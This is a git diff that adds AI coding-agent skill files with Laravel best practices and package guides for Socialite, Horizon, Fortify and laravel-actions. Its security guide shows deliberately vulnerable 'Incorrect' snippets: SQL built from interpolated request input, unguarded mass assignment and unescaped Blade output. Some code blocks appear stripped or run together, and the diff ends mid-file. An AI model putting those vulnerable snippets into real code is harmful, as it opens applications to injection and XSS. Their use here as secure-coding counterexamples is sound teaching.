+++ b/.agents/skills/laravel-best-practices/rules/scheduling.md
@@ -0,0 +1,39 @@
+# Task Scheduling Best Practices
+
+## Use `withoutOverlapping()` on Variable-Duration Tasks
+
+Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion.
+
+## Use `onOneServer()` on Multi-Server Deployments
+
+Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached).
+
+## Use `runInBackground()` for Concurrent Long Tasks
+
+By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes.
+
+## Use `environments()` to Restrict Tasks
+
+Prevent accidental execution of production-only tasks (billing, reporting) on staging.
+
+```php
+Schedule::command('billing:charge')->monthly()->environments(['production']);
+```
+
+## Use `takeUntilTimeout()` for Time-Bounded Processing
+
+A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time.
+
+## Use Schedule Groups for Shared Configuration
+
+Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks.
+
+```php
+Schedule::daily()
+ ->onOneServer()
+ ->timezone('America/New_York')
+ ->group(function () {
+ Schedule::command('emails:send --force');
+ Schedule::command('emails:prune');
+ });
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/security.md b/.agents/skills/laravel-best-practices/rules/security.md
new file mode 100644
index 000000000..524d47e61
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/security.md
@@ -0,0 +1,198 @@
+# Security Best Practices
+
+## Mass Assignment Protection
+
+Every model must define `$fillable` (whitelist) or `$guarded` (blacklist).
+
+Incorrect:
+```php
+class User extends Model
+{
+ protected $guarded = []; // All fields are mass assignable
+}
+```
+
+Correct:
+```php
+class User extends Model
+{
+ protected $fillable = [
+ 'name',
+ 'email',
+ 'password',
+ ];
+}
+```
+
+Never use `$guarded = []` on models that accept user input.
+
+## Authorize Every Action
+
+Use policies or gates in controllers. Never skip authorization.
+
+Incorrect:
+```php
+public function update(Request $request, Post $post)
+{
+ $post->update($request->validated());
+}
+```
+
+Correct:
+```php
+public function update(UpdatePostRequest $request, Post $post)
+{
+ Gate::authorize('update', $post);
+
+ $post->update($request->validated());
+}
+```
+
+Or via Form Request:
+
+```php
+public function authorize(): bool
+{
+ return $this->user()->can('update', $this->route('post'));
+}
+```
+
+## Prevent SQL Injection
+
+Always use parameter binding. Never interpolate user input into queries.
+
+Incorrect:
+```php
+DB::select("SELECT * FROM users WHERE name = '{$request->name}'");
+```
+
+Correct:
+```php
+User::where('name', $request->name)->get();
+
+// Raw expressions with bindings
+User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get();
+```
+
+## Escape Output to Prevent XSS
+
+Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content.
+
+Incorrect:
+```blade
+{!! $user->bio !!}
+```
+
+Correct:
+```blade
+{{ $user->bio }}
+```
+
+## CSRF Protection
+
+Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia.
+
+Incorrect:
+```blade
+
+```
+
+Correct:
+```blade
+
+```
+
+## Rate Limit Auth and API Routes
+
+Apply `throttle` middleware to authentication and API routes.
+
+```php
+RateLimiter::for('login', function (Request $request) {
+ return Limit::perMinute(5)->by($request->ip());
+});
+
+Route::post('/login', LoginController::class)->middleware('throttle:login');
+```
+
+## Validate File Uploads
+
+Validate MIME type, extension, and size. Never trust client-provided filenames.
+
+```php
+public function rules(): array
+{
+ return [
+ 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'],
+ ];
+}
+```
+
+Store with generated filenames:
+
+```php
+$path = $request->file('avatar')->store('avatars', 'public');
+```
+
+## Keep Secrets Out of Code
+
+Never commit `.env`. Access secrets via `config()` only.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'api_key' => env('API_KEY'),
+
+// In application code
+$key = config('services.api_key');
+```
+
+## Audit Dependencies
+
+Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment.
+
+```bash
+composer audit
+```
+
+## Encrypt Sensitive Database Fields
+
+Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`.
+
+Incorrect:
+```php
+class Integration extends Model
+{
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'string',
+ ];
+ }
+}
+```
+
+Correct:
+```php
+class Integration extends Model
+{
+ protected $hidden = ['api_key', 'api_secret'];
+
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'encrypted',
+ 'api_secret' => 'encrypted',
+ ];
+ }
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/style.md b/.agents/skills/laravel-best-practices/rules/style.md
new file mode 100644
index 0000000000000000000000000000000000000000..db689bf774d1763ac3ec520a3874015f5421ff5b
GIT binary patch
literal 4443
zcmb7H|8g6*5$@mj6gxJXBU_TPGV!!SM{H%Ls*_r-YD&%@j)w&AKoK^0I0HCRY@C@s
zM4zxv(rqc3Rg4_YS46<&Z-l2$9V!-oHYUfv=K_C|PowZt|LcB75;$1eTUe78Vh&a+E%-f!B^_a3OyuOh!1j+3CF~xh&C6Q
z*=`XQmT8HzBMo|P)XsSFwYJu8q05a}Nq8>Un^s}fxWXTc+D!ClW^}bJz?`D4gwP={HL5A^SnD#A?)(C5LRZ
zR@zG|^YKcHT#n048H9Q7>X){{QHr&?hq_KiVE^8jd(B0!WswWps*3d4DH&@1R8(75
z(o_>v@X2ovWz1l+2v>~J<^>HjOLin4++uISp>Q7sc=
zww6}<$`&|bt}L=XnXE+ip&z}g_gV`3HWN5EPEweC&DDJI?qyj{CR+efKb>jeTy0sD
zWtYI5qv?KwV!+7*dZa^2FYxC)TK@TN*ocD0=F&btK-5a%Wxf!e#ktaJd!wnwhV#M0
z|0*OpGDbs1S7xm&uSe55UhMTw=n7u9VGYd&_0x8mxwqVDzMxBM#erT(T>>Yi70@@Er6gkS%swHiLEM*)?2zc&R!b$)u{^0DPCWn-5getf^
zqwL-7)#&%+#9FdML00VP=EV)It0I7c8`GuUi-V&wR=MBE?KnxIkV45w0(RotSq(2
z5JBRcjqs-zn!;f43?h8rSf*Nmx8L*f!4K&P%HqkB0gWjgkH;zaLPU;y;I-Mt_EVJK
z5225`U*USQfgjQV7uBs9|qK
z8N(d$vlHhUP>F9>t{hc!
zpk(1NTthYH##aU%kYRXf1Z5TJ#a|1EE=6q<>`nN5$zBCL1$xV1li$&!Wm{EWjJgF+mOY
z2m}FlAue$xtpY2C90Ue9gpB9NU51F{eEN|$BM6k3O;JN_tnZ3KW*Cu$J)pVA7jKfx
zaAd+LQR$pk$3cm3G=+DZ*%xEtGUz;w>gE-uon7-1V<>b8zw_u7Tofqy@TeZsE$W5A
zjUuG+Q%gDQht~?1jCf*ZqtdaFudezoDD5U(J5b>JS*l%5P?3c6WmL#(LhH_DBsfbQ>Dd4CXi
F{|%Ge#T5Vm
literal 0
HcmV?d00001
diff --git a/.agents/skills/laravel-best-practices/rules/testing.md b/.agents/skills/laravel-best-practices/rules/testing.md
new file mode 100644
index 000000000..d39cc3ed0
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/testing.md
@@ -0,0 +1,43 @@
+# Testing Best Practices
+
+## Use `LazilyRefreshDatabase` Over `RefreshDatabase`
+
+`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites.
+
+## Use Model Assertions Over Raw Database Assertions
+
+Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);`
+
+Correct: `$this->assertModelExists($user);`
+
+More expressive, type-safe, and fails with clearer messages.
+
+## Use Factory States and Sequences
+
+Named states make tests self-documenting. Sequences eliminate repetitive setup.
+
+Incorrect: `User::factory()->create(['email_verified_at' => null]);`
+
+Correct: `User::factory()->unverified()->create();`
+
+## Use `Exceptions::fake()` to Assert Exception Reporting
+
+Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally.
+
+## Call `Event::fake()` After Factory Setup
+
+Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models.
+
+Incorrect: `Event::fake(); $user = User::factory()->create();`
+
+Correct: `$user = User::factory()->create(); Event::fake();`
+
+## Use `recycle()` to Share Relationship Instances Across Factories
+
+Without `recycle()`, nested factories create separate instances of the same conceptual entity.
+
+```php
+Ticket::factory()
+ ->recycle(Airline::factory()->create())
+ ->create();
+```
\ No newline at end of file
diff --git a/.agents/skills/laravel-best-practices/rules/validation.md b/.agents/skills/laravel-best-practices/rules/validation.md
new file mode 100644
index 000000000..a20202ff1
--- /dev/null
+++ b/.agents/skills/laravel-best-practices/rules/validation.md
@@ -0,0 +1,75 @@
+# Validation & Forms Best Practices
+
+## Use Form Request Classes
+
+Extract validation from controllers into dedicated Form Request classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $request->validate([
+ 'title' => 'required|max:255',
+ 'body' => 'required',
+ ]);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request)
+{
+ Post::create($request->validated());
+}
+```
+
+## Array vs. String Notation for Rules
+
+Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses.
+
+```php
+// Preferred for new code
+'email' => ['required', 'email', Rule::unique('users')],
+
+// Follow existing convention if the project uses string notation
+'email' => 'required|email|unique:users',
+```
+
+## Always Use `validated()`
+
+Get only validated data. Never use `$request->all()` for mass operations.
+
+Incorrect:
+```php
+Post::create($request->all());
+```
+
+Correct:
+```php
+Post::create($request->validated());
+```
+
+## Use `Rule::when()` for Conditional Validation
+
+```php
+'company_name' => [
+ Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']),
+],
+```
+
+## Use the `after()` Method for Custom Validation
+
+Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields.
+
+```php
+public function after(): array
+{
+ return [
+ function (Validator $validator) {
+ if ($this->quantity > Product::find($this->product_id)?->stock) {
+ $validator->errors()->add('quantity', 'Not enough stock.');
+ }
+ },
+ ];
+}
+```
\ No newline at end of file
diff --git a/.agents/skills/socialite-development/SKILL.md b/.agents/skills/socialite-development/SKILL.md
new file mode 100644
index 000000000..e660da691
--- /dev/null
+++ b/.agents/skills/socialite-development/SKILL.md
@@ -0,0 +1,80 @@
+---
+name: socialite-development
+description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Socialite Authentication
+
+## Documentation
+
+Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth).
+
+## Available Providers
+
+Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch`
+
+Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`.
+
+Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`.
+
+Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand.
+
+Community providers differ from built-in providers in the following ways:
+- Installed via `composer require socialiteproviders/{name}`
+- Must register via event listener — NOT auto-discovered like built-in providers
+- Use `search-docs` for the registration pattern
+
+## Adding a Provider
+
+### 1. Configure the provider
+
+Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly.
+
+### 2. Create redirect and callback routes
+
+Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details.
+
+### 3. Authenticate and store the user
+
+In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`.
+
+### 4. Customize the redirect (optional)
+
+- `scopes()` — merge additional scopes with the provider's defaults
+- `setScopes()` — replace all scopes entirely
+- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google)
+- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object.
+- `stateless()` — for API/SPA contexts where session state is not maintained
+
+### 5. Verify
+
+1. Config key matches driver name exactly (check the list above for hyphenated names)
+2. `client_id`, `client_secret`, and `redirect` are all present
+3. Redirect URL matches what is registered in the provider's OAuth dashboard
+4. Callback route handles denied grants (when user declines authorization)
+
+Use `search-docs` for complete code examples of each step.
+
+## Additional Features
+
+Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details.
+
+User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes`
+
+## Testing
+
+Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods.
+
+## Common Pitfalls
+
+- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails.
+- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors.
+- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely.
+- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`.
+- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol).
+- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved.
+- Community providers require event listener registration via `SocialiteWasCalled`.
+- `user()` throws when the user declines authorization. Always handle denied grants.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/SKILL.md b/.claude/skills/configuring-horizon/SKILL.md
new file mode 100644
index 000000000..bed1e74c0
--- /dev/null
+++ b/.claude/skills/configuring-horizon/SKILL.md
@@ -0,0 +1,85 @@
+---
+name: configuring-horizon
+description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Horizon Configuration
+
+## Documentation
+
+Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment.
+
+For deeper guidance on specific topics, read the relevant reference file before implementing:
+
+- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling
+- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config
+- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs
+- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config
+
+## Basic Usage
+
+### Installation
+
+```bash
+php artisan horizon:install
+```
+
+### Supervisor Configuration
+
+Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block:
+
+
+```php
+'defaults' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['default'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+],
+
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3],
+ ],
+ 'local' => [
+ 'supervisor-1' => ['maxProcesses' => 2],
+ ],
+],
+```
+
+### Dashboard Authorization
+
+Restrict access in `App\Providers\HorizonServiceProvider`:
+
+
+```php
+protected function gate(): void
+{
+ Gate::define('viewHorizon', function (User $user) {
+ return $user->is_admin;
+ });
+}
+```
+
+## Verification
+
+1. Run `php artisan horizon` and visit `/horizon`
+2. Confirm dashboard access is restricted as expected
+3. Check that metrics populate after scheduling `horizon:snapshot`
+
+## Common Pitfalls
+
+- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported.
+- Redis Cluster is not supported. Horizon requires a standalone Redis connection.
+- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration.
+- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it.
+- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out.
+- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics.
+- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/metrics.md b/.claude/skills/configuring-horizon/references/metrics.md
new file mode 100644
index 000000000..312f79ee7
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/metrics.md
@@ -0,0 +1,21 @@
+# Metrics & Snapshots
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon metrics snapshot"` for the snapshot command and scheduling
+- `"horizon trim snapshots"` for retention configuration
+
+## What to Watch For
+
+### Metrics dashboard stays blank until `horizon:snapshot` is scheduled
+
+Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler.
+
+### Register the snapshot in the scheduler rather than running it manually
+
+A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+.
+
+### `metrics.trim_snapshots` is a snapshot count, not a time duration
+
+The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/notifications.md b/.claude/skills/configuring-horizon/references/notifications.md
new file mode 100644
index 000000000..943d1a26a
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/notifications.md
@@ -0,0 +1,21 @@
+# Notifications & Alerts
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon notifications"` for Horizon's built-in notification routing helpers
+- `"horizon long wait detected"` for LongWaitDetected event details
+
+## What to Watch For
+
+### `waits` in `config/horizon.php` controls the LongWaitDetected threshold
+
+The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration.
+
+### Use Horizon's built-in notification routing in `HorizonServiceProvider`
+
+Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration.
+
+### Failed job alerts are separate from Horizon's documented notification routing
+
+Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/supervisors.md b/.claude/skills/configuring-horizon/references/supervisors.md
new file mode 100644
index 000000000..9da0c1769
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/supervisors.md
@@ -0,0 +1,27 @@
+# Supervisor & Balancing Configuration
+
+## Where to Find It
+
+Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions:
+- `"horizon supervisor configuration"` for the full options list
+- `"horizon balancing strategies"` for auto, simple, and false modes
+- `"horizon autoscaling workers"` for autoScalingStrategy details
+- `"horizon environment configuration"` for the defaults and environments merge
+
+## What to Watch For
+
+### The `environments` array merges into `defaults` rather than replacing it
+
+The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`.
+
+### Use separate named supervisors to enforce queue priority
+
+Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this.
+
+### Use `balance: false` to keep a fixed number of workers on a dedicated queue
+
+Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable.
+
+### Set `balanceCooldown` to prevent rapid worker scaling under bursty load
+
+When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle.
\ No newline at end of file
diff --git a/.claude/skills/configuring-horizon/references/tags.md b/.claude/skills/configuring-horizon/references/tags.md
new file mode 100644
index 000000000..263c955c1
--- /dev/null
+++ b/.claude/skills/configuring-horizon/references/tags.md
@@ -0,0 +1,21 @@
+# Tags & Silencing
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon tags"` for the tagging API and auto-tagging behaviour
+- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options
+
+## What to Watch For
+
+### Eloquent model jobs are tagged automatically without any extra code
+
+If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed.
+
+### `silenced` hides jobs from the dashboard completed list but does not stop them from running
+
+Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs.
+
+### `silenced_tags` hides all jobs carrying a matching tag from the completed list
+
+Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes.
\ No newline at end of file
diff --git a/.claude/skills/fortify-development/SKILL.md b/.claude/skills/fortify-development/SKILL.md
new file mode 100644
index 000000000..86322d9c0
--- /dev/null
+++ b/.claude/skills/fortify-development/SKILL.md
@@ -0,0 +1,131 @@
+---
+name: fortify-development
+description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.'
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Fortify Development
+
+Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
+
+## Documentation
+
+Use `search-docs` for detailed Laravel Fortify patterns and documentation.
+
+## Usage
+
+- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
+- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
+- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
+- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
+- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
+
+## Available Features
+
+Enable in `config/fortify.php` features array:
+
+- `Features::registration()` - User registration
+- `Features::resetPasswords()` - Password reset via email
+- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
+- `Features::updateProfileInformation()` - Profile updates
+- `Features::updatePasswords()` - Password changes
+- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
+
+> Use `search-docs` for feature configuration options and customization patterns.
+
+## Setup Workflows
+
+### Two-Factor Authentication Setup
+
+```
+- [ ] Add TwoFactorAuthenticatable trait to User model
+- [ ] Enable feature in config/fortify.php
+- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate
+- [ ] Set up view callbacks in FortifyServiceProvider
+- [ ] Create 2FA management UI
+- [ ] Test QR code and recovery codes
+```
+
+> Use `search-docs` for TOTP implementation and recovery code handling patterns.
+
+### Email Verification Setup
+
+```
+- [ ] Enable emailVerification feature in config
+- [ ] Implement MustVerifyEmail interface on User model
+- [ ] Set up verifyEmailView callback
+- [ ] Add verified middleware to protected routes
+- [ ] Test verification email flow
+```
+
+> Use `search-docs` for MustVerifyEmail implementation patterns.
+
+### Password Reset Setup
+
+```
+- [ ] Enable resetPasswords feature in config
+- [ ] Set up requestPasswordResetLinkView callback
+- [ ] Set up resetPasswordView callback
+- [ ] Define password.reset named route (if views disabled)
+- [ ] Test reset email and link flow
+```
+
+> Use `search-docs` for custom password reset flow patterns.
+
+### SPA Authentication Setup
+
+```
+- [ ] Set 'views' => false in config/fortify.php
+- [ ] Install and configure Laravel Sanctum for session-based SPA authentication
+- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication)
+- [ ] Set up CSRF token handling
+- [ ] Test XHR authentication flows
+```
+
+> Use `search-docs` for integration and SPA authentication patterns.
+
+#### Two-Factor Authentication in SPA Mode
+
+When `views` is set to `false`, Fortify returns JSON responses instead of redirects.
+
+If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required:
+
+```json
+{
+ "two_factor": true
+}
+```
+
+## Best Practices
+
+### Custom Authentication Logic
+
+Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
+
+### Registration Customization
+
+Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
+
+### Rate Limiting
+
+Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
+
+## Key Endpoints
+
+| Feature | Method | Endpoint |
+|------------------------|----------|---------------------------------------------|
+| Login | POST | `/login` |
+| Logout | POST | `/logout` |
+| Register | POST | `/register` |
+| Password Reset Request | POST | `/forgot-password` |
+| Password Reset | POST | `/reset-password` |
+| Email Verify Notice | GET | `/email/verify` |
+| Resend Verification | POST | `/email/verification-notification` |
+| Password Confirm | POST | `/user/confirm-password` |
+| Enable 2FA | POST | `/user/two-factor-authentication` |
+| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
+| 2FA Challenge | POST | `/two-factor-challenge` |
+| Get QR Code | GET | `/user/two-factor-qr-code` |
+| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/SKILL.md b/.claude/skills/laravel-actions/SKILL.md
new file mode 100644
index 000000000..862dd55b5
--- /dev/null
+++ b/.claude/skills/laravel-actions/SKILL.md
@@ -0,0 +1,302 @@
+---
+name: laravel-actions
+description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+---
+
+# Laravel Actions or `lorisleiva/laravel-actions`
+
+## Overview
+
+Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns.
+
+## Quick Workflow
+
+1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`.
+2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`.
+3. Implement `handle(...)` with the core business logic first.
+4. Add adapter methods only when needed for the requested entrypoint:
+ - `asController` (+ route/invokable controller usage)
+ - `asJob` (+ dispatch)
+ - `asListener` (+ event listener wiring)
+ - `asCommand` (+ command signature/description)
+5. Add or update tests for the chosen entrypoint.
+6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`).
+
+## Base Action Pattern
+
+Use this minimal skeleton and expand only what is needed.
+
+```php
+handle($id)`.
+- Call with dependency injection: `app(PublishArticle::class)->handle($id)`.
+
+### Run as Controller
+
+- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`.
+- Add `asController(...)` for HTTP-specific adaptation and return a response.
+- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP.
+
+### Run as Job
+
+- Dispatch with `PublishArticle::dispatch($id)`.
+- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`.
+- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control.
+
+#### Project Pattern: Job Action with Extra Methods
+
+```php
+addMinutes(30);
+ }
+
+ public function getJobBackoff(): array
+ {
+ return [60, 120];
+ }
+
+ public function getJobUniqueId(Demo $demo): string
+ {
+ return $demo->id;
+ }
+
+ public function handle(Demo $demo): void
+ {
+ // Core business logic.
+ }
+
